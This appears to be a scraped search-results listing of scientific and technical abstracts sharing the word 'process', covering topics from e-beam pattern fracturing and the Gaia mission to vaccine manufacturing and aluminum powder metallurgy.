VSB based pattern generators. Proximity Effect Correction is also applied during the fracture process, taking into account variable shot sizes to apply for accuracy and design style. Choosing different fracture routines for pattern data on-the-fly allows for fast and efficient processing. Data interpretation is essential for processing curvilinear data as to its size, angle, and complexity. Fracturing complex angled data into "efficient" shot counts is no longer practical as shot creation now requires knowledge of the actual data content as seen in photonic based pattern data. Simulation and physical printing results prove the implementations for accuracy and write times compared to traditional VSB writing strategies on photonic data. Geometry tolerance is used as part of the fracturing algorithm for controlling edge placement accuracy and tuning to different e-beam processing parameters. Science.gov (United States) Matsuo, Kuniaki; Saleh, Bahaa E. A.; Teich, Malvin Carl 1982-12-01 We investigate the counting statistics for stationary and nonstationary cascaded Poisson processes. A simple equation is obtained for the variance-to-mean ratio in the limit of long counting times. Explicit expressions for the forward-recurrence and inter-event-time probability density functions are also obtained. The results are expected to be of use in a number of areas of physics. NARCIS (Netherlands) Ghassemi, F.; Fokkink, W.J.; Movaghar, A.; Cerone, A.; Gruner, S. 2008-01-01 We present a process algebra for modeling and reasoning about Mobile Ad hoc Networks (MANETs) and their protocols. In our algebra we model the essential modeling concepts of ad hoc networks, i.e. local broadcast, connectivity of nodes and connectivity changes. Connectivity and connectivity changes a 15. ERGONOMICS AND PROCESS AUTOMATION OpenAIRE Carrión Muñoz, Rolando; Docente de la FII - UNMSM 2014-01-01 The article shows the role that ergonomics in automation of processes, and the importance for Industrial Engineering.  El artículo nos muestra el papel que tiene la ergonomía en la automatización de los procesos, y la importancia para la Ingeniería Industrial. 16. Qualitative Process Theory. Science.gov (United States) 1984-07-01 write a heat flow process that violates energy conservation and transfers " caloric fluid" between the source and destination. The assumptions made about...removed in ease of ex1-0ClCits. Seco nd, if’ thle program is drawNing concilsions that rely criticaillyoi atClrsum in, then1 it IIos’t test ss 17. Audio Spectral Processing Science.gov (United States) 2010-05-01 Global Security & Engineering Solutions Division 1300-B Floyd Avenue Rome, NY 13440-4615 8. PERFORMING ORGANIZATION REPORT NUMBER...18 1 1. BACKGROUND This report is being submitted by L-3 Global Security...tasks. Utilized the Avid Xpress video enhancement system to process the Group 2, Phase II competency test A. This was done to attempt to recreate NARCIS (Netherlands) Wombacher, Andreas; Fankhauser, Peter; Mahleko, Bendick; Neuhold, Erich 2003-01-01 Web services have a potential to enhance B2B ecommerce over the Internet by allowing companies and organizations to publish their business processes on service directories where potential trading partners can find them. This can give rise to new business paradigms based on ad-hoc trading relations a Directory of Open Access Journals (Sweden) Magdalena LUCA (DEDIU 2014-06-01 Full Text Available Business process reengineering determines the change of organizational functions from an orientation focused on operations through a multidimensional approach. Former employees who were mere executors are now determined to take their own decisions and as a result the functional departments lose their reason to exist. Managers do not act anymore as supervisors, but mainly as mentors, while the employees focus more attention on customer needs and less than the head’s. Under these conditions, new organizational paradigms are required, the most important being that of learning organizations. In order to implement a reengineering of the economic processes and promoting a new organizational paradigm the information technology plays a decisive role. The article presents some results obtained in a research theme ANSTI funded by contract no. 501/2000. Economic and financial analysis is performed in order to know the current situation to achieve better results in the future. One of its objectives is the production analyzed as a labour process and the interaction elements of this process. The indicators investigated in the analysis of financial and economic activity of production reflect the development directions, the means and resources to accomplish predetermined objectives and express the results and effectiveness of what is expected. 20. Rethinking lessons learned processes NARCIS (Netherlands) Buttler, T.; Lukosch, S.G.; Kolfschoten, G.L.; Verbraeck, A. 2012-01-01 Lessons learned are one way to retain experience and knowledge in project-based organizations, helping them to prevent reinventin,g the wheel or to repeat past mistakes. However, there are several challenges that make these lessonts learned processes a challenging endeavor. These include capturing Science.gov (United States) Siddiqui, H.; Els, S. G.; Guerra, R.; Cheek, N.; Mora, A.; O'Mullane, W. 2014-08-01 The Gaia survey mission, operated by the European Space Agency (ESA) and launched on 19 December 2013, will survey approximately 109 stars or 1% of the galactic stellar population over a 5.5 year period. The main purpose of this mission is micro-arcsecond astrometry, that would yield important insights into the kinematics of the galaxy, its evolution, as well as provide important additional findings, including a updated coordinate reference system to that provided by the ICRS. Gaia performs its observations using two telescopes with fields of view separated by 106.5 degrees, spinning around an orthogonal axis at about 6 hours per day. The spin axis itself precesses: it is always oriented at 45 degrees from the sun, and precesses around the sun every 63 days. Thus each part of the sky is observed approximately every 63 days. The 6-hour spin, or scan-rate matches the CCD readout rate. The amount of data to process per day - 50-130 Gigabytes - corresponds to over 30 million stellar sources. To perform this processing, the Gaia Data Processing and Analysis Consortium (DPAC) have developed approximately 2 million lines of software, divided into subsystems specific to a given functional need, that are run across 6 different Data Processing Centres (DPCs). The final result being a catalog including the 109 stars observed. Most of the daily processing is performed at the DPC in ESAC, Spain (DPCE), which runs 3 main subsystems, the MOC Interface Task (MIT), the Initial Data Treatment (IDT), and First Look (FL). The MIT ingests the initial data provided by the MOC in the form of binary data and writes (amongst other things) star packets' containing the raw stellar information needed for IDT, which provides a basic level of processing, including stellar positions, photometry, radial velocities, cross match and catalogue updates. FL determines the payload health (e.g, the health for the 106 CCDs, geometric calibration) and astrometric performance via the one day astrometric 2. Cassini science planning process Science.gov (United States) Paczkowski, Brian G.; Ray, Trina L. 2004-01-01 The mission design for Cassini-Huygens calls for a four-year orbital survey of the Saturnian system and the descent into the Titan atmosphere and eventual soft-landing of the Huygens probe. The Cassini orbiter tour consists of 76 orbits around Saturn with 44 close Titan flybys and 8 targeted icy satellite flybys. The Cassini orbiter spacecraft carries twelve scientific instruments that will perform a wide range of observations on a multitude of designated targets. The science opportunities, frequency of encounters, the length of the Tour, and the use of distributed operations pose significant challenges for developing the science plan for the orbiter mission. The Cassini Science Planning Process is the process used to develop and integrate the science and engineering plan that incorporates an acceptable level of science required to meet the primary mission objectives far the orbiter. The bulk of the integrated science and engineering plan will be developed prior to Saturn Orbit Insertion (Sol). The Science Planning Process consists of three elements: 1) the creation of the Tour Atlas, which identifies the science opportunities in the tour, 2) the development of the Science Operations Plan (SOP), which is the conflict-free timeline of all science observations and engineering activities, a constraint-checked spacecraft pointing profile, and data volume allocations to the science instruments, and 3) an Aftermarket and SOP Update process, which is used to update the SOP while in tour with the latest information on spacecraft performance, science opportunities, and ephemerides. This paper will discuss the various elements of the Science Planning Process used on the Cassini Mission to integrate, implement, and adapt the science and engineering activity plans for Tour. 3. Biosphere Process Model Report Energy Technology Data Exchange (ETDEWEB) J. Schmitt 2000-05-25 To evaluate the postclosure performance of a potential monitored geologic repository at Yucca Mountain, a Total System Performance Assessment (TSPA) will be conducted. Nine Process Model Reports (PMRs), including this document, are being developed to summarize the technical basis for each of the process models supporting the TSPA model. These reports cover the following areas: (1) Integrated Site Model; (2) Unsaturated Zone Flow and Transport; (3) Near Field Environment; (4) Engineered Barrier System Degradation, Flow, and Transport; (5) Waste Package Degradation; (6) Waste Form Degradation; (7) Saturated Zone Flow and Transport; (8) Biosphere; and (9) Disruptive Events. Analysis/Model Reports (AMRs) contain the more detailed technical information used to support TSPA and the PMRs. The AMRs consists of data, analyses, models, software, and supporting documentation that will be used to defend the applicability of each process model for evaluating the postclosure performance of the potential Yucca Mountain repository system. This documentation will ensure the traceability of information from its source through its ultimate use in the TSPA-Site Recommendation (SR) and in the National Environmental Policy Act (NEPA) analysis processes. The objective of the Biosphere PMR is to summarize (1) the development of the biosphere model, and (2) the Biosphere Dose Conversion Factors (BDCFs) developed for use in TSPA. The Biosphere PMR does not present or summarize estimates of potential radiation doses to human receptors. Dose calculations are performed as part of TSPA and will be presented in the TSPA documentation. The biosphere model is a component of the process to evaluate postclosure repository performance and regulatory compliance for a potential monitored geologic repository at Yucca Mountain, Nevada. The biosphere model describes those exposure pathways in the biosphere by which radionuclides released from a potential repository could reach a human receptor 4. PROcess Based Diagnostics PROBE Science.gov (United States) Clune, T.; Schmidt, G.; Kuo, K.; Bauer, M.; Oloso, H. 2013-01-01 Many of the aspects of the climate system that are of the greatest interest (e.g., the sensitivity of the system to external forcings) are emergent properties that arise via the complex interplay between disparate processes. This is also true for climate models most diagnostics are not a function of an isolated portion of source code, but rather are affected by multiple components and procedures. Thus any model-observation mismatch is hard to attribute to any specific piece of code or imperfection in a specific model assumption. An alternative approach is to identify diagnostics that are more closely tied to specific processes -- implying that if a mismatch is found, it should be much easier to identify and address specific algorithmic choices that will improve the simulation. However, this approach requires looking at model output and observational data in a more sophisticated way than the more traditional production of monthly or annual mean quantities. The data must instead be filtered in time and space for examples of the specific process being targeted.We are developing a data analysis environment called PROcess-Based Explorer (PROBE) that seeks to enable efficient and systematic computation of process-based diagnostics on very large sets of data. In this environment, investigators can define arbitrarily complex filters and then seamlessly perform computations in parallel on the filtered output from their model. The same analysis can be performed on additional related data sets (e.g., reanalyses) thereby enabling routine comparisons between model and observational data. PROBE also incorporates workflow technology to automatically update computed diagnostics for subsequent executions of a model. In this presentation, we will discuss the design and current status of PROBE as well as share results from some preliminary use cases. 5. Privatization Process in Kosovo Directory of Open Access Journals (Sweden) Ing. Florin Aliu 2014-06-01 Full Text Available Privatization is considered an initial step toward market economy, restructuring financial and economic sector that enables competition in the economy. Privatization is the most painful process in economy where beside legal establishment and political will, it includes also the aspect of fairness and honesty. Analysis of this process is based on the models and comparisons between Kosovo and countries of central and Eastern Europe, in order to give a clearer picture on the overall process of privatization in Kosovo Methodology that is used to analyze this issue is based on empirical results and also qualitative interpretation of the models and also on studying particular asset privatization process. A widely discussed case of privatization in Kosovo is that of Post and Telecom of Kosovo (PTK. Since each company has its own value, I have focused my appraising analysis on the financial statements with a special observation on Cash Flow from Operation, as the most significant indicator on showing how company is using her physical and human recourses to generate money. I have based my research on using methodology of discounted cash flow from operation analysis, even though the company valuation was done using net cash flow from operation analysis. Cash Flow valuation then was discounted by the T-bonds interest rate. This paper tries to bring a conclusion that privatization process in Kosovo have not brought the results excepted, firstly by setting an inappropriate price of assets and lastly by restructuring overall privatization sector and the overall industry. Kosovo, consequently, lost a big opportunity to create a competitive environment of financial industry: starting from the banking industry followed the pension trust which remained at their initial steps of development 6. Retinomorphic image processing. Science.gov (United States) Ghosh, Kuntal; Bhaumik, Kamales; Sarkar, Sandip 2008-01-01 The present work is aimed at understanding and explaining some of the aspects of visual signal processing at the retinal level while exploiting the same towards the development of some simple techniques in the domain of digital image processing. Classical studies on retinal physiology revealed the nature of contrast sensitivity of the receptive field of bipolar or ganglion cells, which lie in the outer and inner plexiform layers of the retina. To explain these observations, a difference of Gaussian (DOG) filter was suggested, which was subsequently modified to a Laplacian of Gaussian (LOG) filter for computational ease in handling two-dimensional retinal inputs. Till date almost all image processing algorithms, used in various branches of science and engineering had followed LOG or one of its variants. Recent observations in retinal physiology however, indicate that the retinal ganglion cells receive input from a larger area than the classical receptive fields. We have proposed an isotropic model for the non-classical receptive field of the retinal ganglion cells, corroborated from these recent observations, by introducing higher order derivatives of Gaussian expressed as linear combination of Gaussians only. In digital image processing, this provides a new mechanism of edge detection on one hand and image half-toning on the other. It has also been found that living systems may sometimes prefer to "perceive" the external scenario by adding noise to the received signals in the pre-processing level for arriving at better information on light and shade in the edge map. The proposed model also provides explanation to many brightness-contrast illusions hitherto unexplained not only by the classical isotropic model but also by some other Gestalt and Constructivist models or by non-isotropic multi-scale models. The proposed model is easy to implement both in the analog and digital domain. A scheme for implementation in the analog domain generates a new silicon retina 7. RASSP signal processing architectures Science.gov (United States) Shirley, Fred; Bassett, Bob; Letellier, J. P. 1995-06-01 The rapid prototyping of application specific signal processors (RASSP) program is an ARPA/tri-service effort to dramatically improve the process by which complex digital systems, particularly embedded signal processors, are specified, designed, documented, manufactured, and supported. The domain of embedded signal processing was chosen because it is important to a variety of military and commercial applications as well as for the challenge it presents in terms of complexity and performance demands. The principal effort is being performed by two major contractors, Lockheed Sanders (Nashua, NH) and Martin Marietta (Camden, NJ). For both, improvements in methodology are to be exercised and refined through the performance of individual 'Demonstration' efforts. The Lockheed Sanders' Demonstration effort is to develop an infrared search and track (IRST) processor. In addition, both contractors' results are being measured by a series of externally administered (by Lincoln Labs) six-month Benchmark programs that measure process improvement as a function of time. The first two Benchmark programs are designing and implementing a synthetic aperture radar (SAR) processor. Our demonstration team is using commercially available VME modules from Mercury Computer to assemble a multiprocessor system scalable from one to hundreds of Intel i860 microprocessors. Custom modules for the sensor interface and display driver are also being developed. This system implements either proprietary or Navy owned algorithms to perform the compute-intensive IRST function in real time in an avionics environment. Our Benchmark team is designing custom modules using commercially available processor ship sets, communication submodules, and reconfigurable logic devices. One of the modules contains multiple vector processors optimized for fast Fourier transform processing. Another module is a fiberoptic interface that accepts high-rate input data from the sensors and provides video-rate output data to a 8. Vaccine process technology. Science.gov (United States) Josefsberg, Jessica O; Buckland, Barry 2012-06-01 The evolution of vaccines (e.g., live attenuated, recombinant) and vaccine production methods (e.g., in ovo, cell culture) are intimately tied to each other. As vaccine technology has advanced, the methods to produce the vaccine have advanced and new vaccine opportunities have been created. These technologies will continue to evolve as we strive for safer and more immunogenic vaccines and as our understanding of biology improves. The evolution of vaccine process technology has occurred in parallel to the remarkable growth in the development of therapeutic proteins as products; therefore, recent vaccine innovations can leverage the progress made in the broader biotechnology industry. Numerous important legacy vaccines are still in use today despite their traditional manufacturing processes, with further development focusing on improving stability (e.g., novel excipients) and updating formulation (e.g., combination vaccines) and delivery methods (e.g., skin patches). Modern vaccine development is currently exploiting a wide array of novel technologies to create safer and more efficacious vaccines including: viral vectors produced in animal cells, virus-like particles produced in yeast or insect cells, polysaccharide conjugation to carrier proteins, DNA plasmids produced in E. coli, and therapeutic cancer vaccines created by in vitro activation of patient leukocytes. Purification advances (e.g., membrane adsorption, precipitation) are increasing efficiency, while innovative analytical methods (e.g., microsphere-based multiplex assays, RNA microarrays) are improving process understanding. Novel adjuvants such as monophosphoryl lipid A, which acts on antigen presenting cell toll-like receptors, are expanding the previously conservative list of widely accepted vaccine adjuvants. As in other areas of biotechnology, process characterization by sophisticated analysis is critical not only to improve yields, but also to determine the final product quality. From a regulatory 9. Managing Process Variants in the Process Life Cycle NARCIS (Netherlands) Hallerbach, A.; Bauer, Th.; Reichert, M.U. 2007-01-01 When designing process-aware information systems, often variants of the same process have to be specified. Each variant then constitutes an adjustment of a particular process to specific requirements building the process context. Current Business Process Management (BPM) tools do not adequately supp 10. Process and Post-Process: A Discursive History. Science.gov (United States) Matsuda, Paul Kei 2003-01-01 Examines the history of process and post-process in composition studies, focusing on ways in which terms, such as "current-traditional rhetoric,""process," and "post-process" have contributed to the discursive construction of reality. Argues that use of the term post-process in the context of second language writing needs to be guided by a… 11. Modeling of biopharmaceutical processes. Part 2: Process chromatography unit operation DEFF Research Database (Denmark) Kaltenbrunner, Oliver; McCue, Justin; Engel, Philip; 2008-01-01 Process modeling can be a useful tool to aid in process development, process optimization, and process scale-up. When modeling a chromatography process, one must first select the appropriate models that describe the mass transfer and adsorption that occurs within the porous adsorbent... 12. Fundamentals of process intensification: A process systems engineering view DEFF Research Database (Denmark) Babi, Deenesh Kavi; Sales Cruz, Alfonso Mauricio; Gani, Rafiqul 2016-01-01 This chapter gives an overview of the fundamentals of process intensification from a process systems engineering point of view. The concept of process intensification, including process integration, is explained together with the drivers for applying process intensification, which can be achieved...... intensification using a systems approach.... 13. Material flow of production process OpenAIRE Hanzelová Marcela 2001-01-01 This paper deals with material flow of the production process. We present the block diagram of material flow and capacities of engine in various plants each other. In this paper is used IPO (Input Process Output) diagram. IPO diagram described process with aspect to input and output. Production program regards string of precision, branch and paralel processes with aspect IPO diagram.Process is not important with aspect to events. We are looking on the process as a black box. For process is ... 14. Process Improvement: Customer Service. Science.gov (United States) Cull, Donald 2015-01-01 Utilizing the comment section of patient satisfaction surveys, Clark Memorial Hospital in Jeffersonville, IN went through a thoughtful process to arrive at an experience that patients said they wanted. Two Lean Six Sigma tools were used--the Voice of the Customer (VoC) and the Affinity Diagram. Even when using these tools, a facility will not be able to accomplish everything the patient may want. Guidelines were set and rules were established for the Process Improvement Team in order to lessen frustration, increase focus, and ultimately be successful. The project's success is driven by the team members carrying its message back to their areas. It's about ensuring that everyone is striving to improve the patients' experience by listening to what they say is being done right and what they say can be done better. And then acting on it. 15. The aluminum smelting process. Science.gov (United States) Kvande, Halvor 2014-05-01 This introduction to the industrial primary aluminum production process presents a short description of the electrolytic reduction technology, the history of aluminum, and the importance of this metal and its production process to modern society. Aluminum's special qualities have enabled advances in technologies coupled with energy and cost savings. Aircraft capabilities have been greatly enhanced, and increases in size and capacity are made possible by advances in aluminum technology. The metal's flexibility for shaping and extruding has led to architectural advances in energy-saving building construction. The high strength-to-weight ratio has meant a substantial reduction in energy consumption for trucks and other vehicles. The aluminum industry is therefore a pivotal one for ecological sustainability and strategic for technological development. 16. Organic food processing DEFF Research Database (Denmark) Kahl, Johannes; Alborzi, Farnaz; Beck, Alexander 2014-01-01 In 2007 EU Regulation (EC) 834/2007 introduced principles and criteria for organic food processing. These regulations have been analysed and discussed in several scientific publications and research project reports. Recently, organic food quality was described by principles, aspects and criteria....... These principles from organic agriculture were verified and adapted for organic food processing. Different levels for evaluation were suggested. In another document, underlying paradigms and consumer perception of organic food were reviewed against functional food, resulting in identifying integral product...... identity as the underlying paradigm and a holistic quality view connected to naturalness as consumers' perception of organic food quality. In a European study, the quality concept was applied to the organic food chain, resulting in a problem, namely that clear principles and related criteria were missing... 17. [In Process Citation]. Science.gov (United States) Yildirim, Ayhan; Metzler, Philipp; Lanzer, Martin; Lübbers, Heinz-Theo; Yildirim, Vedat 2015-01-01 Solcoseryl® is a protein-free haemodialysate, containing a broad spectrum of low molecular components of cellular mass and blood serum obtained from veal calves. Solcoseryl® improves the transport of oxygen and glucose to cells that are under hypoxic conditions. It increases the synthesis of intracellular ATP and contributes to an increase in the level of aerobic glycolysis and oxidative phosphorylation. It activates the reparative and regenerative processes in tissues by stimulating fibroblast proliferation and repair of the collagen vascular wall. The formulations of Solcoseryl® are infusion, injection, gel and ointment, and it is also available as a dental paste for inflammatory processes of the mouth cavity, gums and lips. 18. Integral Politics as Process Directory of Open Access Journals (Sweden) Tom Atlee 2010-03-01 Full Text Available Using the definition proposed here, integral politics can be a process of integrating diverse perspectives into wholesome guidance for a community or society. Characteristics that follow from this definition have ramifications for understanding what such political processes involve. Politics becomes integral as it transcends partisan battle and nurtures generative conversation toward the common good. Problems, conflicts and crises become opportunities for new (or renewed social coherence. Conversational methodologies abound that can help citizen awareness temporarily expand during policy-making, thus helping raise society’s manifested developmental stage. Convening archetypal stakeholders or randomly selected citizens in conversations designed to engage the broader public enhances democratic legitimacy. With minimal issue- and candidate-advocacy, integral political leaders would develop society’s capacity to use integral conversational tools to improve its health, resilience, and collective intelligence. This both furthers and manifests evolution becoming conscious of itself. 19. A Logical Process Calculus Science.gov (United States) Cleaveland, Rance; Luettgen, Gerald; Bushnell, Dennis M. (Technical Monitor) 2002-01-01 This paper presents the Logical Process Calculus (LPC), a formalism that supports heterogeneous system specifications containing both operational and declarative subspecifications. Syntactically, LPC extends Milner's Calculus of Communicating Systems with operators from the alternation-free linear-time mu-calculus (LT(mu)). Semantically, LPC is equipped with a behavioral preorder that generalizes Hennessy's and DeNicola's must-testing preorder as well as LT(mu's) satisfaction relation, while being compositional for all LPC operators. From a technical point of view, the new calculus is distinguished by the inclusion of: (1) both minimal and maximal fixed-point operators and (2) an unimple-mentability predicate on process terms, which tags inconsistent specifications. The utility of LPC is demonstrated by means of an example highlighting the benefits of heterogeneous system specification. 20. Posttranslational processing of progastrin DEFF Research Database (Denmark) Bundgaard, Jens René; Rehfeld, Jens F. 2010-01-01 Gastrin and cholecystokinin (CCK) are homologous hormones with important functions in the brain and the gut. Gastrin is the main regulator of gastric acid secretion and gastric mucosal growth, whereas cholecystokinin regulates gall bladder emptying, pancreatic enzyme secretion and besides acts...... as a major neurotransmitter in the central and peripheral nervous systems. The tissue-specific expression of the hormones is regulated at the transcriptional level, but the posttranslational phase is also decisive and is highly complex in order to ensure accurate maturation of the prohormones in a cell...... processing progastrin is often greatly disturbed in neoplastic cells.The posttranslational phase of the biogenesis of gastrin and the various progastrin products in gastrin gene-expressing tissues is now reviewed here. In addition, the individual contributions of the processing enzymes are discussed... 1. Beyond the search process DEFF Research Database (Denmark) Hyldegård, Jette 2009-01-01 . It is concluded that the ISP-model does not fully comply with group members' problem solving process and the involved information seeking behavior. Further, complex academic problem solving seems to be even more complex when it is performed in a group based setting. The study contributes with a new conceptual...... an assignment. It is investigated if group members' information behavior differ from the individual information seeker in the ISP-model and to what extent this behavior is influenced by contextual (work task) and social (group work) factors. Three groups of LIS students were followed during a 14 weeks period...... in 2004/2005 (10 participants). Quantitative and qualitative methods were employed, such as demographic surveys, process surveys, diaries and interviews. Similarities in behavior were found between group members and the individual in Kuhlthau's ISP-model with regard to the general stages of information... 2. The Player Engagement Process DEFF Research Database (Denmark) Schoenau-Fog, Henrik 2011-01-01 Engagement is an essential element of the player experience, and the concept is described in various ways in the literature. To gain a more detailed comprehension of this multifaceted concept, and in order to better understand what aspects can be used to evaluate engaging game play and to design...... engaging user experiences, this study investigates one dimension of player engagement by empirically identifying the components associated with the desire to continue playing. Based on a description of the characteristics of player engagement, a series of surveys were developed to discover the components......, categories and triggers involved in this process. By applying grounded theory to the analysis of the responses, a process-oriented player engagement framework was developed and four main components consisting of objectives, activities, accomplishments and affects as well as the corresponding categories... 3. Thin film interconnect processes Science.gov (United States) Malik, Farid Interconnects and associated photolithography and etching processes play a dominant role in the feature shrinkage of electronic devices. Most interconnects are fabricated by use of thin film processing techniques. Planarization of dielectrics and novel metal deposition methods are the focus of current investigations. Spin-on glass, polyimides, etch-back, bias-sputtered quartz, and plasma-enhanced conformal films are being used to obtain planarized dielectrics over which metal films can be reliably deposited. Recent trends have been towards chemical vapor depositions of metals and refractory metal silicides. Interconnects of the future will be used in conjunction with planarized dielectric layers. Reliability of devices will depend to a large extent on the quality of the interconnects. Science.gov (United States) Weinstein, N D 1988-01-01 This article presents a critique of current models of preventive behavior. It discusses a variety of factors that are usually overlooked-including the appearance of costs and benefits over time, the role of cues to action, the problem of competing life demands, and the ways that actual decision behavior differs from the rational ideal implicit in expectancy-value and utility theories. Such considerations suggest that the adoption of new precautions should be viewed as a dynamic process with many determinants. The framework of a model that is able to accommodate these additional factors is described. This alternative model portrays the precaution adoption process as an orderly sequence of qualitatively different cognitive stages. Data illustrating a few of the suggestions made in the article are presented, and implications for prevention programs are discussed. 5. The Integrated Renovation Process DEFF Research Database (Denmark) Galiotto, Nicolas and constructivist multiple criteria decision-making analysis method is selected for developing the work further. The method is introduced and applied to the renovation of a multi-residential historic building. Furthermore, a new scheme, the Integrated Renovation Process, is presented. Finally, the methodology....... In this thesis, examples of nearly zero energy single-family home renovations are presented. The most relevant existing decision support methods and tools applicable to sustainable renovation processes are reviewed and their applicability to high performance sustainable renovation is discussed. A qualitative...... performance sustainable renovations. The main purpose of the work has been to develop a holistic methodology so as to inspire and guide building owners and their renovation project teams to reach high levels of social, environmental and economic performances. The research approach integrates multiple... 6. Plant hydrocarbon recovery process Energy Technology Data Exchange (ETDEWEB) Dzadzic, P.M.; Price, M.C.; Shih, C.J.; Weil, T.A. 1982-01-26 A process for production and recovery of hydrocarbons from hydrocarbon-containing whole plants in a form suitable for use as chemical feedstocks or as hydrocarbon energy sources which process comprises: (A) pulverizing by grinding or chopping hydrocarbon-containing whole plants selected from the group consisting of euphorbiaceae, apocynaceae, asclepiadaceae, compositae, cactaceae and pinaceae families to a suitable particle size, (B) drying and preheating said particles in a reducing atmosphere under positive pressure (C) passing said particles through a thermal conversion zone containing a reducing atmosphere and with a residence time of 1 second to about 30 minutes at a temperature within the range of from about 200* C. To about 1000* C., (D) separately recovering the condensable vapors as liquids and the noncondensable gases in a condition suitable for use as chemical feedstocks or as hydrocarbon fuels. 7. Instabilities in sensory processes Science.gov (United States) Balakrishnan, J. 2014-07-01 In any organism there are different kinds of sensory receptors for detecting the various, distinct stimuli through which its external environment may impinge upon it. These receptors convey these stimuli in different ways to an organism's information processing region enabling it to distinctly perceive the varied sensations and to respond to them. The behavior of cells and their response to stimuli may be captured through simple mathematical models employing regulatory feedback mechanisms. We argue that the sensory processes such as olfaction function optimally by operating in the close proximity of dynamical instabilities. In the case of coupled neurons, we point out that random disturbances and fluctuations can move their operating point close to certain dynamical instabilities triggering synchronous activity. 8. Yeast nuclear RNA processing Institute of Scientific and Technical Information of China (English) 2012-01-01 Nuclear RNA processing requires dynamic and intricately regulated machinery composed of multiple enzymes and their cofactors.In this review,we summarize recent experiments using Saccharomyces cerevisiae as a model system that have yielded important insights regarding the conversion of pre-RNAs to functional RNAs,and the elimination of aberrant RNAs and unneeded intermediates from the nuclear RNA pool.Much progress has been made recently in describing the 3D structure of many elements of the nuclear degradation machinery and its cofactors.Similarly,the regulatory mechanisms that govern RNA processing are gradually coming into focus.Such advances invariably generate many new questions,which we highlight in this review. 9. Sensors for Process Control Science.gov (United States) Tschulena, G. 1988-01-01 Sensors are one of the key elements for the automation in the manufacturing and process technology. The sensor field is presently within a restructuring process, directed to a stronger utilization of solid state technologies. This restructuring is governed by the utilization of solid state physical effects, by the use of reproducible fabrication techniques, and by the market driving forces. The state of the art of sensors in modern fabrication techniques will be demonstrated in examples, namely for sensors in silicon technology, in thin film technology and in thick film/screen printing technology. Some important physical and technological problems to be solved for the development of new and advanced sensor families will be outlined. Sensor development is strongly directed to the minaturization of devices and to the integration of different sensors to multisensors, as well as the integration between sensors and microelectronics. 10. Plutonium dissolution process Science.gov (United States) Vest, Michael A.; Fink, Samuel D.; Karraker, David G.; Moore, Edwin N.; Holcomb, H. Perry 1996-01-01 A two-step process for dissolving plutonium metal, which two steps can be carried out sequentially or simultaneously. Plutonium metal is exposed to a first mixture containing approximately 1.0M-1.67M sulfamic acid and 0.0025M-0.1M fluoride, the mixture having been heated to a temperature between 45.degree. C. and 70.degree. C. The mixture will dissolve a first portion of the plutonium metal but leave a portion of the plutonium in an oxide residue. Then, a mineral acid and additional fluoride are added to dissolve the residue. Alteratively, nitric acid in a concentration between approximately 0.05M and 0.067M is added to the first mixture to dissolve the residue as it is produced. Hydrogen released during the dissolution process is diluted with nitrogen. Science.gov (United States) Monnerville, Mathias; Sémah, Gregory 2012-03-01 Youpi is a portable, easy to use web application providing high level functionalities to perform data reduction on scientific FITS images. Built on top of various open source reduction tools released to the community by TERAPIX (http://terapix.iap.fr), Youpi can help organize data, manage processing jobs on a computer cluster in real time (using Condor) and facilitate teamwork by allowing fine-grain sharing of results and data. Youpi is modular and comes with plugins which perform, from within a browser, various processing tasks such as evaluating the quality of incoming images (using the QualityFITS software package), computing astrometric and photometric solutions (using SCAMP), resampling and co-adding FITS images (using SWarp) and extracting sources and building source catalogues from astronomical images (using SExtractor). Youpi is useful for small to medium-sized data reduction projects; it is free and is published under the GNU General Public License. 12. Fastdata processing with Spark CERN Document Server Karau, Holden 2013-01-01 This book will be a basic, step-by-step tutorial, which will help readers take advantage of all that Spark has to offer.Fastdata Processing with Spark is for software developers who want to learn how to write distributed programs with Spark. It will help developers who have had problems that were too much to be dealt with on a single computer. No previous experience with distributed programming is necessary. This book assumes knowledge of either Java, Scala, or Python. 13. Parallel processing ITS Energy Technology Data Exchange (ETDEWEB) Fan, W.C.; Halbleib, J.A. Sr. 1996-09-01 This report provides a users guide for parallel processing ITS on a UNIX workstation network, a shared-memory multiprocessor or a massively-parallel processor. The parallelized version of ITS is based on a master/slave model with message passing. Parallel issues such as random number generation, load balancing, and communication software are briefly discussed. Timing results for example problems are presented for demonstration purposes. 14. Near Shore Wave Processes Science.gov (United States) 2016-06-07 the alongshore current, and a full non linear bottom shear stress. Contributions from the alongshore wind stress are mostly evident offshore and over...fraction) profiles measured on a day with offshore wave height of 1.6m, and 10 ms-1 wind speed. The one hour mean void fraction profiles are measured in a...given the offshore wave conditions. OBJECTIVES We hypothesize that the wave-induced kinematic, sediment and morphologic processes are nonlinearly 15. Aluminum powder metallurgy processing Energy Technology Data Exchange (ETDEWEB) Flumerfelt, J.F. 1999-02-12 The objective of this dissertation is to explore the hypothesis that there is a strong linkage between gas atomization processing conditions, as-atomized aluminum powder characteristics, and the consolidation methodology required to make components from aluminum powder. The hypothesis was tested with pure aluminum powders produced by commercial air atomization, commercial inert gas atomization, and gas atomization reaction synthesis (GARS). A comparison of the GARS aluminum powders with the commercial aluminum powders showed the former to exhibit superior powder characteristics. The powders were compared in terms of size and shape, bulk chemistry, surface oxide chemistry and structure, and oxide film thickness. Minimum explosive concentration measurements assessed the dependence of explosibility hazard on surface area, oxide film thickness, and gas atomization processing conditions. The GARS aluminum powders were exposed to different relative humidity levels, demonstrating the effect of atmospheric conditions on post-atomization processing conditions. The GARS aluminum powders were exposed to different relative humidity levels, demonstrating the effect of atmospheric conditions on post-atomization oxidation of aluminum powder. An Al-Ti-Y GARS alloy exposed in ambient air at different temperatures revealed the effect of reactive alloy elements on post-atomization powder oxidation. The pure aluminum powders were consolidated by two different routes, a conventional consolidation process for fabricating aerospace components with aluminum powder and a proposed alternative. The consolidation procedures were compared by evaluating the consolidated microstructures and the corresponding mechanical properties. A low temperature solid state sintering experiment demonstrated that tap densified GARS aluminum powders can form sintering necks between contacting powder particles, unlike the total resistance to sintering of commercial air atomization aluminum powder. 16. Sample Data Processing. Science.gov (United States) 1982-08-01 the relative practicality of compensating the channel with an approach of predistorting the masking sequence, by processing in a filter that...replicates the channel response, with a conventional approach of equal- izing the channel with an inverse filter. The predistortion method demonstrated a...compensate for the channel distortion is to predistort the encryption stream in the receiver by means of a fil- ter which replicates the impulse response of 17. Inelastic Light Scattering Processes Science.gov (United States) Fouche, Daniel G.; Chang, Richard K. 1973-01-01 Five different inelastic light scattering processes will be denoted by, ordinary Raman scattering (ORS), resonance Raman scattering (RRS), off-resonance fluorescence (ORF), resonance fluorescence (RF), and broad fluorescence (BF). A distinction between fluorescence (including ORF and RF) and Raman scattering (including ORS and 